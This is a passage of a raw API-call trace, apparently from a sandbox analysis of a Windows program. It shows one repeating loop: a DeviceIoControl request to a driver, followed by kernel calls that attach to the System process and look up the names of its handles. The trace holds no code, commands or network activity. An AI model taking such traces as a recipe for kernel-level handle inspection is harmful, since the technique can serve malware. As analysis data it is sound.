AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002dfabf0, HandleInformation=0x0) returned 0x0 [0119.422] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.422] PsReleaseProcessExitSynchronization () returned 0x2 [0119.422] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.422] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.422] ObfDereferenceObject (Object=0xfffffa8002dfabf0) returned 0x21 [0119.422] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.422] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.422] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0119.422] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.422] PsAcquireProcessExitSynchronization () returned 0x0 [0119.422] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.422] ObReferenceObjectByHandle (in: Handle=0xffffffff80000198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002e4a050, HandleInformation=0x0) returned 0x0 [0119.422] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.422] PsReleaseProcessExitSynchronization () returned 0x2 [0119.422] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.422] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.422] ObfDereferenceObject (Object=0xfffffa8002e4a050) returned 0x1 [0119.422] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.422] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.422] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0119.422] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.422] PsAcquireProcessExitSynchronization () returned 0x0 [0119.422] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.422] ObReferenceObjectByHandle (in: Handle=0xffffffff800001b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002e5dd00, HandleInformation=0x0) returned 0x0 [0119.422] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.422] PsReleaseProcessExitSynchronization () returned 0x2 [0119.422] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.422] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.422] ObfDereferenceObject (Object=0xfffffa8002e5dd00) returned 0x1 [0119.422] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.423] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.423] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x62, lpOverlapped=0x0) returned 1 [0119.423] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.423] PsAcquireProcessExitSynchronization () returned 0x0 [0119.423] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.423] ObReferenceObjectByHandle (in: Handle=0xffffffff800001bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f10050, HandleInformation=0x0) returned 0x0 [0119.423] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.423] PsReleaseProcessExitSynchronization () returned 0x2 [0119.423] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.423] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.423] ObfDereferenceObject (Object=0xfffffa8002f10050) returned 0x1 [0119.423] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.423] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.423] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0119.423] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.423] PsAcquireProcessExitSynchronization () returned 0x0 [0119.423] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.423] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800296af20, HandleInformation=0x0) returned 0x0 [0119.423] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.423] PsReleaseProcessExitSynchronization () returned 0x2 [0119.423] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.423] ObQueryNameString (in: Object=0xfffffa800296af20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.423] ObfDereferenceObject (Object=0xfffffa800296af20) returned 0x3 [0119.423] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.423] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.423] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0119.423] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.423] PsAcquireProcessExitSynchronization () returned 0x0 [0119.423] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.423] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f25720, HandleInformation=0x0) returned 0x0 [0119.423] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.423] PsReleaseProcessExitSynchronization () returned 0x2 [0119.424] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.424] ObQueryNameString (in: Object=0xfffffa8002f25720, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.424] ObfDereferenceObject (Object=0xfffffa8002f25720) returned 0x1 [0119.424] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.424] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.424] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0119.424] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.424] PsAcquireProcessExitSynchronization () returned 0x0 [0119.424] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.424] ObReferenceObjectByHandle (in: Handle=0xffffffff800001cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019179c0, HandleInformation=0x0) returned 0x0 [0119.424] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.424] PsReleaseProcessExitSynchronization () returned 0x2 [0119.424] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.424] ObQueryNameString (in: Object=0xfffffa80019179c0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.424] ObfDereferenceObject (Object=0xfffffa80019179c0) returned 0x2 [0119.424] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.424] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.424] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0119.424] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.424] PsAcquireProcessExitSynchronization () returned 0x0 [0119.424] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.424] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f29260, HandleInformation=0x0) returned 0x0 [0119.424] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.424] PsReleaseProcessExitSynchronization () returned 0x2 [0119.424] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.424] ObQueryNameString (in: Object=0xfffffa8002f29260, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.424] ObfDereferenceObject (Object=0xfffffa8002f29260) returned 0x2 [0119.424] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.425] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.425] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.425] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.425] PsAcquireProcessExitSynchronization () returned 0x0 [0119.425] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.425] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80025eb610, HandleInformation=0x0) returned 0x0 [0119.425] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.425] PsReleaseProcessExitSynchronization () returned 0x2 [0119.425] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.425] ObQueryNameString (in: Object=0xfffffa80025eb610, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.425] ObfDereferenceObject (Object=0xfffffa80025eb610) returned 0x2 [0119.425] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.425] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.425] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0119.425] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.425] PsAcquireProcessExitSynchronization () returned 0x0 [0119.425] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.425] ObReferenceObjectByHandle (in: Handle=0xffffffff800001dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f10df0, HandleInformation=0x0) returned 0x0 [0119.425] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.425] PsReleaseProcessExitSynchronization () returned 0x2 [0119.425] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.425] ObQueryNameString (in: Object=0xfffffa8002f10df0, ObjectNameInfo=0xfffffa800210d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800210d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.425] ObfDereferenceObject (Object=0xfffffa8002f10df0) returned 0x2 [0119.425] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.425] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.426] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.426] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.426] PsAcquireProcessExitSynchronization () returned 0x0 [0119.426] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.426] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f1f210, HandleInformation=0x0) returned 0x0 [0119.426] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.426] PsReleaseProcessExitSynchronization () returned 0x2 [0119.426] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.426] ObQueryNameString (in: Object=0xfffffa8002f1f210, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.426] ObfDereferenceObject (Object=0xfffffa8002f1f210) returned 0x1 [0119.426] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.426] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.426] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.426] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.426] PsAcquireProcessExitSynchronization () returned 0x0 [0119.426] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.426] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f22d30, HandleInformation=0x0) returned 0x0 [0119.426] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.426] PsReleaseProcessExitSynchronization () returned 0x2 [0119.426] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.426] ObQueryNameString (in: Object=0xfffffa8002f22d30, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.426] ObfDereferenceObject (Object=0xfffffa8002f22d30) returned 0x2 [0119.426] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.426] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.426] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xb8, lpOverlapped=0x0) returned 1 [0119.426] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.426] PsAcquireProcessExitSynchronization () returned 0x0 [0119.426] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.427] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f1d050, HandleInformation=0x0) returned 0x0 [0119.427] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.427] PsReleaseProcessExitSynchronization () returned 0x2 [0119.427] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.427] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.427] ObfDereferenceObject (Object=0xfffffa8002f1d050) returned 0x21 [0119.427] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.427] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.427] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0119.427] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.427] PsAcquireProcessExitSynchronization () returned 0x0 [0119.427] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.427] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800282f560, HandleInformation=0x0) returned 0x0 [0119.427] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.427] PsReleaseProcessExitSynchronization () returned 0x2 [0119.427] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.427] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.427] ObfDereferenceObject (Object=0xfffffa800282f560) returned 0x1 [0119.427] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.427] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.427] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0119.427] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.427] PsAcquireProcessExitSynchronization () returned 0x0 [0119.427] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.427] ObReferenceObjectByHandle (in: Handle=0xffffffff800001fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fef2b0, HandleInformation=0x0) returned 0x0 [0119.427] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.427] PsReleaseProcessExitSynchronization () returned 0x2 [0119.427] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.427] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.427] ObfDereferenceObject (Object=0xfffffa8002fef2b0) returned 0x1 [0119.427] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.427] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.428] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0119.428] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.428] PsAcquireProcessExitSynchronization () returned 0x0 [0119.428] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.428] ObReferenceObjectByHandle (in: Handle=0xffffffff80000200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002ee1d40, HandleInformation=0x0) returned 0x0 [0119.428] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.428] PsReleaseProcessExitSynchronization () returned 0x2 [0119.428] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.428] ObQueryNameString (in: Object=0xfffffa8002ee1d40, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.428] ObfDereferenceObject (Object=0xfffffa8002ee1d40) returned 0x1 [0119.428] 